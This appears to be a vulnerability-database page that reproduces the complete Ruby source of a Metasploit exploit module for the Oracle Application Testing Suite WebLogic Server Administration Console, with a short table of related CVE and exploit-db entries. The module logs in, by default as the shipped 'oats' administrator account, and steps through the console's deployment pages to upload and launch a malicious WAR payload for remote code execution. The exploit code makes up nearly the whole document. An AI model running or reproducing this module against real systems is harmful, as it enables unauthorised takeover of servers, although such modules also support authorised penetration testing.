| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| Oracle Application Testing Suite WebLogic Server Administration Console War Deployment Exploit | 28 May 201900:00 | – | zdt | |
| CVE-2007-2699 | 6 Feb 202503:13 | – | circl | |
| CVE-2007-2699 | 16 May 200701:00 | – | cve | |
| CVE-2007-2699 | 16 May 200701:00 | – | cvelist | |
| Oracle Application Testing Suite - WebLogic Server Administration Console War Deployment (Metasploit) | 29 May 201900:00 | – | exploitdb | |
| EUVD-2007-2691 | 7 Oct 202500:30 | – | euvd | |
| Oracle Application Testing Suite WebLogic Server Administration Console War Deployment | 10 May 201918:27 | – | metasploit | |
| CVE-2007-2699 | 16 May 200701:19 | – | nvd | |
| Design/Logic Flaw | 16 May 200701:19 | – | prion |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Oracle Application Testing Suite WebLogic Server Administration Console War Deployment',
'Description' => %q{
This module abuses a feature in WebLogic Server's Administration Console to install
a malicious Java application in order to gain remote code execution. Authentication
is required, however by default, Oracle ships with a "oats" account that you could
log in with, which grants you administrator access.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Steven Seeley', # Used the trick and told me about it
'sinn3r' # Metasploit module
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'WebLogic Server Administration Console 12 or prior', { } ]
],
'References' =>
[
# The CVE description matches what this exploit is doing, but it was for version
# 9.0 and 9.1. We are not super sure whether this is the right CVE or not.
# ['CVE', '2007-2699']
],
'DefaultOptions' =>
{
'RPORT' => 8088
},
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Privileged' => false,
'DisclosureDate' => 'Mar 13 2019',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),
OptString.new('OATSUSERNAME', [true, 'The username for the admin console', 'oats']),
OptString.new('OATSPASSWORD', [true, 'The password for the admin console'])
])
register_advanced_options(
[
OptString.new('DefaultOatsPath', [true, 'The default path for OracleATS', 'C:\\OracleATS'])
])
end
class LoginSpec
attr_accessor :admin_console_session
end
def login_spec
@login_spec ||= LoginSpec.new
end
class OatsWarPayload < MetasploitModule
attr_reader :name
attr_reader :war
def initialize(payload)
@name = [Faker::App.name, Rex::Text.rand_name].sample
@war = payload.encoded_war(app_name: name).to_s
end
end
def default_oats_path
datastore['DefaultOatsPath']
end
def war_payload
@war_payload ||= OatsWarPayload.new(payload)
end
def set_frsc
value = get_deploy_frsc
@frsc = value
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')
})
if res && res.body.include?('Oracle WebLogic Server Administration Console')
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def set_admin_console_session(res)
cookie = res.get_cookies
admin_console_session = cookie.scan(/ADMINCONSOLESESSION=(.+);/).flatten.first
vprint_status("Token for console session is: #{admin_console_session}")
login_spec.admin_console_session = admin_console_session
end
def is_logged_in?(res)
html = res.get_html_document
a_element = html.at('a')
if a_element.respond_to?(:attributes) && a_element.attributes['href']
link = a_element.attributes['href'].value
return URI(link).request_uri == '/console'
end
false
end
def do_login
uri = normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
fail_with(Failure::Unknown, 'No response from server') unless res
set_admin_console_session(res)
uri = normalize_uri(target_uri.path, 'console', 'j_security_check')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_post' =>
{
'j_username' => datastore['OATSUSERNAME'],
'j_password' => datastore['OATSPASSWORD'],
'j_character_encoding' => 'UTF-8'
}
})
fail_with(Failure::Unknown, 'No response while trying to log in') unless res
fail_with(Failure::NoAccess, 'Failed to login') unless is_logged_in?(res)
store_valid_credential(user: datastore['OATSUSERNAME'], private: datastore['OATSPASSWORD'])
set_admin_console_session(res)
end
def get_deploy_frsc
# First we are just going through the pages in a specific order to get the FRSC value
# we need to prepare uploading the WAR file.
res = nil
requests =
[
{ path: 'console/', vars: {} },
{ path: 'console/console.portal', vars: {'_nfpb'=>"true"} },
{ path: 'console/console.portal', vars: {'_nfpb'=>"true", '_pageLabel' => 'HomePage1'} }
]
requests.each do |req|
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, req[:path]),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' => req[:vars]
})
fail_with(Failure::Unknown, 'No response while retrieving FRSC') unless res
end
html = res.get_html_document
hidden_input = html.at('input[@name="ChangeManagerPortletfrsc"]')
frsc_attr = hidden_input.respond_to?(:attributes) ? hidden_input.attributes['value'] : nil
frsc_attr ? frsc_attr.value : ''
end
def do_select_upload_action
action = '/com/bea/console/actions/app/install/selectUploadApp'
app_path = Rex::FileUtils.normalize_win_path(default_oats_path, 'oats\\servers\\AdminServer\\upload')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortletselectedAppPath' => app_path,
'AppApplicationInstallPortletfrsc' => frsc
}
})
fail_with(Failure::Unknown, "No response from #{action}") unless res
end
def do_upload_app_action
action = '/com/bea/console/actions/app/install/uploadApp'
ctype = 'application/octet-stream'
app_cname = 'AppApplicationInstallPortletuploadAppPath'
plan_cname = 'AppApplicationInstallPortletuploadPlanPath'
frsc_cname = 'AppApplicationInstallPortletfrsc'
war = war_payload.war
war_name = war_payload.name
post_data = Rex::MIME::Message.new
post_data.add_part(war, ctype, 'binary', "form-data; name=\"#{app_cname}\"; filename=\"#{war_name}.war\"")
post_data.add_part('', ctype, nil, "form-data; name=\"#{plan_cname}\"; filename=\"\"")
post_data.add_part(frsc, nil, nil, "form-data; name=\"#{frsc_cname}\"")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})
fail_with(Failure::Unknown, "No response from #{action}") unless res
print_response_message(res)
end
def do_app_select_action
action = '/com/bea/console/actions/app/install/appSelected'
war_name = war_payload.name
app_path = Rex::FileUtils.normalize_win_path(default_oats_path, "oats\\servers\\AdminServer\\upload\\#{war_name}.war")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortletselectedAppPath' => app_path,
'AppApplicationInstallPortletfrsc' => frsc
}
})
fail_with(Failure::Unknown, "No response from #{action}") unless res
print_response_message(res)
end
def do_style_select_action
action = '/com/bea/console/actions/app/install/targetStyleSelected'
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortlettargetStyle' => 'Application',
'AppApplicationInstallPortletfrsc' => frsc
}
})
fail_with(Failure::Unknown, "No response from #{action}") unless res
end
def do_finish_action
action = '/com/bea/console/actions/app/install/finish'
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortletname' => war_payload.name,
'AppApplicationInstallPortletsecurityModel' => 'DDOnly',
'AppApplicationInstallPortletstagingStyle' => 'Default',
'AppApplicationInstallPortletplanStagingStyle' => 'Default',
'AppApplicationInstallPortletfrsc' => frsc
}
})
fail_with(Failure::Unknown, "No response from #{action}") unless res
print_response_message(res)
# 302 is a good enough indicator of a successful upload, otherwise
# the server would actually return a 200 with an error message.
res.code == 302
end
def print_response_message(res)
html = res.get_html_document
message_div = html.at('div[@class="message"]')
if message_div
msg = message_div.at('span').text
print_status("Server replies: #{msg.inspect}")
end
end
def deploy_war
set_frsc
print_status("FRSC value: #{frsc}")
do_select_upload_action
do_upload_app_action
do_app_select_action
do_style_select_action
do_finish_action
end
def goto_war(name)
print_good("Operation \"#{name}\" is a go!")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, name)
})
print_status("Code #{res.code} on \"#{name}\" request") if res
end
def undeploy_war
war_name = war_payload.name
handle = 'com.bea.console.handles.JMXHandle("com.bea:Name=oats,Type=Domain")'
contents = %Q|com.bea.console.handles.AppDeploymentHandle("com.bea:Name=#{war_name},Type=AppDeployment")|
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationUninstallPortletreturnTo' => 'AppDeploymentsControlPage',
'AppDeploymentsControlPortlethandle' => handle
},
'vars_post' =>
{
# For some reason, the value given to the server is escapped twice.
# The Metasploit API should do it at least once.
'AppApplicationUninstallPortletchosenContents' => CGI.escape(contents),
'_pageLabel' => 'AppApplicationUninstallPage',
'_nfpb' => 'true',
'AppApplicationUninstallPortletfrsc' => frsc
}
})
if res && res.code == 302
print_good("Successfully undeployed #{war_name}.war")
else
print_warning("Unable to successfully undeploy #{war_name}.war")
print_warning('You may want to do so manually.')
end
end
def cleanup
undeploy_war if is_cleanup_ready
super
end
def setup
@is_cleanup_ready = false
super
end
def exploit
unless check == Exploit::CheckCode::Detected
print_status('Target does not have the login page we are looking for.')
return
end
do_login
print_good("Logged in as #{datastore['OATSUSERNAME']}:#{datastore['OATSPASSWORD']}")
print_status("Ready for war. Codename \"#{war_payload.name}\" at #{war_payload.war.length} bytes")
result = deploy_war
if result
@is_cleanup_ready = true
goto_war(war_payload.name)
end
end
attr_reader :frsc
attr_reader :is_cleanup_ready
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation